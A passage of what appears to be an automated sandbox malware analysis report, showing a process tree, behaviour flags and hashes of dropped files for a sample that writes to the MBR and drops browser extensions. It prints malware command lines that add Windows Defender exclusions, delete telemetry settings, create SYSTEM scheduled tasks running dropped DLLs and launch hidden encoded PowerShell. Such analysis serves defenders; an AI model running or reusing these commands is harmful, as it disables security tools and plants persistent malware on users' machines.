                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PWmHDDCEKoOU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                        3⤵
                                                                                                                                                          PID:2156
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LYnImQdZU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                          3⤵
                                                                                                                                                            PID:2620
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LYnImQdZU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                            3⤵
                                                                                                                                                              PID:1432
                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                            schtasks /CREATE /TN "gNsKzliva" /SC once /ST 12:39:02 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                            2⤵
                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                            PID:5272
                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                            schtasks /run /I /tn "gNsKzliva"
                                                                                                                                                            2⤵
                                                                                                                                                              PID:3604
                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                              schtasks /DELETE /F /TN "gNsKzliva"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:3884
                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                schtasks /run /I /tn "GxPsrOBaCcwpfdyLc"
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:5640
                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                  schtasks /CREATE /TN "GxPsrOBaCcwpfdyLc" /SC once /ST 17:55:33 /RU "SYSTEM" /TR "\"C:\Windows\Temp\dDpApTBYzSGLBjSM\SGDvYLqUgfHAzDr\cPrxrvp.exe\" lQ /lnsite_idUby 757674 /S" /V1 /F
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Drops file in Windows directory
                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                  PID:4484
                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                1⤵
                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                PID:5816
                                                                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:4912
                                                                                                                                                                • \??\c:\windows\system32\gpscript.exe
                                                                                                                                                                  gpscript.exe /RefreshSystemParam
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:4896
                                                                                                                                                                  • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                    c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:3724
                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LYnImQdZU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:2896
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202312101828101\assistant\assistant_installer.exe
                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202312101828101\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=103.0.4928.25 --initial-client-data=0x27c,0x280,0x284,0x258,0x288,0x1091588,0x1091598,0x10915a4
                                                                                                                                                                        1⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                        PID:1236
                                                                                                                                                                      • C:\Windows\Temp\dDpApTBYzSGLBjSM\SGDvYLqUgfHAzDr\cPrxrvp.exe
                                                                                                                                                                        C:\Windows\Temp\dDpApTBYzSGLBjSM\SGDvYLqUgfHAzDr\cPrxrvp.exe lQ /lnsite_idUby 757674 /S
                                                                                                                                                                        1⤵
                                                                                                                                                                        • Checks computer location settings
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        • Drops Chrome extension
                                                                                                                                                                        • Drops desktop.ini file(s)
                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                        PID:4616
                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:5916
                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:684
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:372
                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\LYnImQdZU\SylFFW.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "HNLiTFFMEmOWPzw" /V1 /F
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                PID:5028
                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                schtasks /DELETE /F /TN "bFsiyFXUbiZjnXWhxm"
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:2908
                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:3708
                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                    schtasks /DELETE /F /TN "HNLiTFFMEmOWPzw"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:3144
                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                      schtasks /END /TN "HNLiTFFMEmOWPzw"
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:4816
                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                        schtasks /CREATE /TN "HNLiTFFMEmOWPzw2" /F /xml "C:\Program Files (x86)\LYnImQdZU\eMHugjB.xml" /RU "SYSTEM"
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                        PID:4460
                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                        schtasks /CREATE /TN "veJwvFILJHXlJ2" /F /xml "C:\ProgramData\CSmGvbSwhatQqEVB\QDhYbkE.xml" /RU "SYSTEM"
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                        PID:3056
                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                        schtasks /CREATE /TN "JhCKWtPxWAiFvx" /F /xml "C:\Program Files (x86)\PWmHDDCEKoOU2\unJSsGb.xml" /RU "SYSTEM"
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                        PID:2908
                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                        schtasks /CREATE /TN "iRXpPsbEuCcIypGfe2" /F /xml "C:\Program Files (x86)\TSyCxsnnDAjgJolSCwR\wNhuwNz.xml" /RU "SYSTEM"
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                        PID:5576
                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                        schtasks /CREATE /TN "rlXVslOzQSNqvvzambW2" /F /xml "C:\Program Files (x86)\yvVhjmCIbOYJC\AxofOca.xml" /RU "SYSTEM"
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                        PID:5028
                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                        schtasks /run /I /tn "QdZNlSSkOsiMvIQfv"
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:4716
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /CREATE /TN "QdZNlSSkOsiMvIQfv" /SC once /ST 13:54:39 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\dDpApTBYzSGLBjSM\FjbpzlEK\eCAagMW.dll\",#1 /pFsite_idSKG 757674" /V1 /F
                                                                                                                                                                                          2⤵
                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                          PID:5744
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /DELETE /F /TN "GxPsrOBaCcwpfdyLc"
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:1472
                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                            cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:6092
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:4588
                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:6124
                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                PID:1836
                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                c:\windows\system32\rundll32.EXE "C:\Windows\Temp\dDpApTBYzSGLBjSM\FjbpzlEK\eCAagMW.dll",#1 /pFsite_idSKG 757674
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                • Blocklisted process makes network request
                                                                                                                                                                                                • Checks BIOS information in registry
                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                                • Enumerates system info in registry
                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                PID:4556
                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                  schtasks /DELETE /F /TN "QdZNlSSkOsiMvIQfv"
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:1616
                                                                                                                                                                                                • \??\c:\windows\system32\rundll32.EXE
                                                                                                                                                                                                  c:\windows\system32\rundll32.EXE "C:\Windows\Temp\dDpApTBYzSGLBjSM\FjbpzlEK\eCAagMW.dll",#1 /pFsite_idSKG 757674
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                    PID:6040
                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                      PID:2172
                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                      PID:6080
                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:5788
                                                                                                                                                                                                      • C:\Users\Admin\Documents\unicorehack.zip_id29093865.exe
                                                                                                                                                                                                        "C:\Users\Admin\Documents\unicorehack.zip_id29093865.exe"
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        • Writes to the Master Boot Record (MBR)
                                                                                                                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                        PID:5268
                                                                                                                                                                                                      • \??\c:\windows\system32\rundll32.EXE
                                                                                                                                                                                                        c:\windows\system32\rundll32.EXE "C:\Program Files (x86)\PWmHDDCEKoOU2\ySxyKllFeFaWL.dll",#1
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:5744
                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                            c:\windows\system32\rundll32.EXE "C:\Program Files (x86)\PWmHDDCEKoOU2\ySxyKllFeFaWL.dll",#1
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                            PID:5976

                                                                                                                                                                                                        Network

                                                                                                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                              Replay Monitor

                                                                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                                                                              Downloads

                                                                                                                                                                                                              • C:\Program Files (x86)\Blues Media Player\BluesMediaPlayer.exe
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                1003KB

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                b1d3472fa16ef139e12a589c2f42eab5

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                1edcb17394bf0abb52db4f452a59df6df2b06b70

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                5a4bd0acae17e4b191d88728c8e21d569199f5c39eb74ebd792b7396e78bc0f0

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                a4f403f5c04640d83187cd2d1e2c8a378cf332d0c7198d6365c3641923064dd45931d2ec35785e64dbb82136477e0fbcabf77042ca16fa33847e9185e6b2953e

                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                              • C:\Program Files (x86)\Blues Media Player\BluesMediaPlayer.exe
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                658KB

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                b35b5cd3cb49a60f8dbb115a3d01e7e3

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                a230dac720bccef2e588c7ad712900d3848a18d9

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                c8e2d0ecf78134d4c1c9aac15b6bce1e6d976c3208cfff8b9b65df86bb6bfd2f

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                f9585d6e6beecbcbf47f8ea5a56b5c877a1c7f2cb09fba31b52ab1c39af9808b2e5696aa7303638cb8d7ab262a85bf79c48cba3a8027e0ea046e701bc739a770

                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                              • C:\Program Files (x86)\Blues Media Player\BluesMediaPlayer.exe
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                413KB

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                76efcc49de0ec3bf8c4cc5ec6e78c076

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                caca497b6889244b8a12f3568ed18da8d0e415a5

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                5de45efd73854fc8efea15bf686b100cb2693e67a216985b1a2de3332971cc27

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                1aee4cc03d33525080c12887da1428164cc5370bc62acd52f3abdb1f0c8cefacaed103ff467af451b9313bfef0c20caf225121d8399cf68d05b1ff8c7b62bc02

                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                              • C:\Program Files (x86)\CRTGame\crtgame.exe
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                142KB

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                cdf851651d2ebaef6ef761082eb8c68e

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                059346365281e72c3b7d442730750f6a71f42374

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                715f761dad7f53e324d413452d23d6837fe2a8c9a6ccae701e4e944595fbeef7

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                335aa51fbdea66f45a9473b9143964af5e4d03a05cfd9d19432aac1463bb63df52ae1267210e3eaab1d347f4aea43b4c5b0cf714dcc1a217ba85fa0088a40c5f

                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                              • C:\Program Files (x86)\CRTGame\crtgame.exe
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                82KB

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                7cec908422da20d876f35e8c6976a27f

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                d4c256ae07f81bfd9b1e1e614270f1fbf0bd3680

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                fd9d8bc779832aa45872bfae5c7a3ac4d75729316c6edd75f0e834679f22a381

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                6ac02f1e0b4e43a7dcdd35254dbdfe5810df486273cc663571a3aac9519ed1e21d8e5b3e9de06e1e328309fe5be3854b9e1f603361b24a1edabaebcb651542bf

                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                              • C:\Program Files (x86)\CRTGame\crtgame.exe
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                38KB

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                469eb3fb884087607af9aa83e4b23a64

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                fb03dba516c1414cbbf5c120b41f2bd61b4874d5

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                9401aae0cd4bab6eca3822552d101397138af2058e50ac1d035c07f79da978da

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                3fe2a290392546f3e0cb432c12dbb6b9e3ab32f7395e3a1ae3e5a8853abbe1450c7f7cfdc9956d0291e65774511471bd8448462974866a5cff0ca76ff1f3140a

                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                              • C:\Program Files\Mozilla Firefox\browser\features\{DBDE73E2-BC5F-41AD-9E14-0105D4813C2F}.xpi
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                219KB

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                065f6348e14fc60e13446a0eb7c72328

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                12e39f8ce5c22cd3ce57da43d51dfd91a0887180

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                1ec77a15072d4e35e8d47de42870f9a31a2ef23ba8f58cb38688719fd33d2872

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                229fdd23181278ed48a99753ca19e498384c7d947a7dfc5ab904dff4ad4ae452f6eb16f0b634a8a01ec1cffd4288618467393ba240a86d99e714bd841c948db2

                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                              • C:\Program Files\WProxy\WinProxy\WinProxy.exe
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                1KB

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                3d793a8b8f901290e7c9d7d01709157b

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                20d4864dfe27d74e3ab3c6997548d81dbb4d71f0

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                093512fe1cd65d3a7a3cd02d783919892c679f17d5b3282c5203abf69cb18be3

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                ee234664fe02ccd3887dfd877fa4d281e0aa1deb05cf9d51e3b3b5b384bdbb1c0a7ee13d5ca3ca10a1d7c588be0782c7789f3c4395fcc678b5a48b51a6547174

                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                              • C:\Program Files\WProxy\WinProxy\p2p-sdk.dll
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                21KB

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                8619f57db87c8ba48ac7cd23ca5032a0

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                7b169f636e796b3514850a2b0b49c414d29a82f5

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                cdf280075be74a96205b36908804e6183f1178bbe8583640667e5c6f88020317

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                6c97ec129a119121925317c22626b65a8aa7fe31ccf4ead58584ea2362dde77c994a777118823b87a4aa85693631a275081eee8ea1875281b2b31aea56051aa7

                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\hipilpceecbhfpflneijogboalilnfjp\1.3.3_0\_locales\en\messages.json
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                150B

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                33292c7c04ba45e9630bb3d6c5cabf74

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                3482eb8038f429ad76340d3b0d6eea6db74e31bd

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                9bb88ea0dcd22868737f42a3adbda7bf773b1ea07ee9f4c33d7a32ee1d902249

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                2439a27828d05bddec6d9c1ec0e23fc9ebb3df75669b90dbe0f46ca05d996f857e6fbc7c895401fecfae32af59a7d4680f83edca26f8f51ca6c00ef76e591754

                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\hipilpceecbhfpflneijogboalilnfjp\1.3.3_0\_locales\pt_BR\messages.json
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                161B

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                5c5a1426ff0c1128c1c6b8bc20ca29ac

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                0e3540b647b488225c9967ff97afc66319102ccd

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                5e206dd2dad597ac1d7fe5a94ff8a1a75f189d1fe41c8144df44e3093a46b839

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                1f61809a42b7f34a3c7d40b28aa4b4979ae94b52211b8f08362c54bbb64752fa1b9cc0c6d69e7dab7e5c49200fb253f0cff59a64d98b23c0b24d7e024cee43c4

                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                10KB

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                e67b242b3c7f2b3bded7d3fa4ee2168a

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                00824e3654f700b0126566b02b4f6a8b9c44cec6

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                b65b92e656fefa3e721278b5c749733e2882b3f7d44f141c5cd72f088c4dd0aa

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                655cf090f8b922af1ebdad144005ac7302c629093a36b727ebbd9c8e514f228198340549db4b20c42b41189fd212a7e81f47663fd2346103dcdb64bbdad4413d

                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                3KB

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                f6c90ab0db80c6c3ea92556fda7273c7

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                01d3866b1887cbb0abe9701f6b49c5dbc66a7dfa

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                a823c3b6f157c50315251d43db740ad37a736b967f0500e024e3a0f84192b269

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                aa6b71e3a8fa46702787d190e3633b1ead0f66cce81065fa2262dde59c683a7fc48846fa2b0bbe94a050564855fc7a79842f0abfa53cc3315e4c766b3c4c1fbe

                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                1KB

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                66382a4ca6c4dcf75ce41417d44be93e

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                8132cbef1c12f8a89a68a6153ade4286bf130812

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                a70acce0f4c6ab59b88ce79d84c38d4abffe19b72b033250499b17d788a2db56

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                2bf66f2850f4a65220085c55a5b3c8866453104d78fe516e5bd6e3e47df783062ce4ea10de580f2eb0274ac8c3ce71965201c49ef55a78f307731ccc8600aadc

                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\KV6H29S1\edgecompatviewlist[1].xml
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                74KB

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                d4fc49dc14f63895d997fa4940f24378

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                3efb1437a7c5e46034147cbbc8db017c69d02c31

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                853d2f4eb81c9fdcea2ee079f6faf98214b111b77cdf68709b38989d123890f1

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                cc60d79b4afe5007634ac21dc4bc92081880be4c0d798a1735b63b27e936c02f399964f744dc73711987f01e8a1064b02a4867dd6cac27538e5fbe275cc61e0a

                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                1KB

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                e40e9e690ded47f8eaa1250e2ecf3ea5

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                8e6c619b92e3f8814715bd9e200a3098f15aede8

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                00289340671e76959b52e9190c09ad57edfa169524ba932df0a1ea53a23fac39

                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                b0848ca541bc42266a08f8bd08d852373ad3b19178d53a11b9018aadcf525a287b9fb11404cb45cda413e6b03d9deaa5a1dd434d479dca2de9c0c71c7b63d489

                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                16KB

                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                b88529e7946fdbb22982fe5dd4d5cffa

                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                fa619d3c7eb75257d59a00cbd65da0fa084fefc6

                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                d6097eaf50f35b5244290a3bdfd81c85cf9f86c4410b01d2bcf324ff3e5a0822

                                                                                                                                                                                                                SHA512

